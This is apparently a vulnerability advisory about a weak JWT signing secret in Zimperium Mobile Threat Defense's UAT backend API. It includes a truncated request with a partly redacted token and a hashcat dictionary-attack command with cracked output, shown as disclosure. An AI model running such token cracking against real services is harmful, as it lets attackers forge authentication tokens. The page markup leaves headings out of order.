[et_pb_section fb_built=\"1\" _builder_version=\"4.21.0\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\" global_colors_info=\"{}\"][et_pb_row _builder_version=\"4.21.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.21.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text _builder_version=\"4.24.0\" _module_preset=\"default\" width=\"100%\" custom_margin=\"|||-2px||\" custom_padding=\"||13px|||\" global_colors_info=\"{}\"]<\/p>\n
<\/strong><\/p>\n Product<\/strong>: Zimperium Mobile Threat Defense UAT environment (https:\/\/emea-uat-acceptor.zimperium.com\/srx) of Zimperium Mobile Threat Defense backend API.<\/p>\n Zimperium Mobile Threat Defense is a mobile solution for protecting against mobile threats. The used secret\/password could be gussed without much effort via a dictionary attack: k[....]t (censored). To do this, the JWT was written to a file called jwt.txt, cracking the password by using hashcat.<\/p>\n We recommend to use a complex and random secret for signing the JWT. Following RFC 7518 chapter 3.2, this secret must have a minimum size as the size of the hash output of the used hash function.<\/p>\n https:\/\/www.tenable.com\/plugins\/was\/112697<\/a><\/a><\/p>\n https:\/\/portswigger.net\/kb\/issues\/00200903_jwt-weak-hmac-secret<\/a><\/p>\n
Affected Version<\/strong>: 4.22.8
Vulnerability Type<\/strong>: CWE 347 - Improper Verification of Cryptographic Signature
Security Risk<\/strong>: CRITICAL - CVSS:3.0\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:N
Vendor URL<\/strong>: https:\/\/www.zimperium.com\/<\/a>
Vendor acknowledged vulnerability<\/strong>: Yes
Vendor Status<\/strong>: Unknown
CVE number<\/strong>: Not requested<\/p>\nAffected Component<\/h3>\n
Desciption<\/h3>\n
It allows monitoring devices in real-time for known and unknown threats.
In the network communication with the API backend we discovered a JSON Web Token (JWT) that is used as an authentication token in the HTTP request.
It seems to be used to authenticate devices.
We found that this JWT is signed by HMAC, while using a weak secret for generating the signature.
This allows an attacker to craft arbitrary JWT that are accepted by the backend API as valid authentication tokens.<\/p>\nProof of Concept<\/h3>\n
1 POST \/srx HTTP\/1.1
2 Host: emea-uat-acceptor.zimperium.com
3 Content-Type: application\/x-protobuf
4 Connection: close
5 X-zimperium-compressionAlgorithm: none
6 auth-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleH[...]3NX0.ktN67yCsQNaAl9VY5fo
UesM18kptvHJ3FtO8EUFFFCU
7 Accept: \/<\/em>
8 User-Agent: Mozilla\/4.0
9 Content-Length: 2796
10 Accept-Language: de-DE,de;q=0.9
11 Accept-Encoding: gzip, deflate
12 [...]<\/pre>\n<\/div>\n1 # hashcat -m 16500 -a 0 jwt.txt passwords.list
2
3 hashcat (v6.2.6) starting
4 [...]
5 eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleH[...]3NX0.ktN67yCsQNaAl9VY5foUesM18kptvHJ3FtO8EUFFFCU:k[...]t
6
7 Session..........: hashcat
8 Status...........: Cracked
9 Hash.Mode........: 16500 (JWT (JSON Web Token))
10 Hash.Target......: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjQ4Mz...UFFFCU<\/pre>\n<\/div>\nFix<\/h3>\n
References<\/h3>\n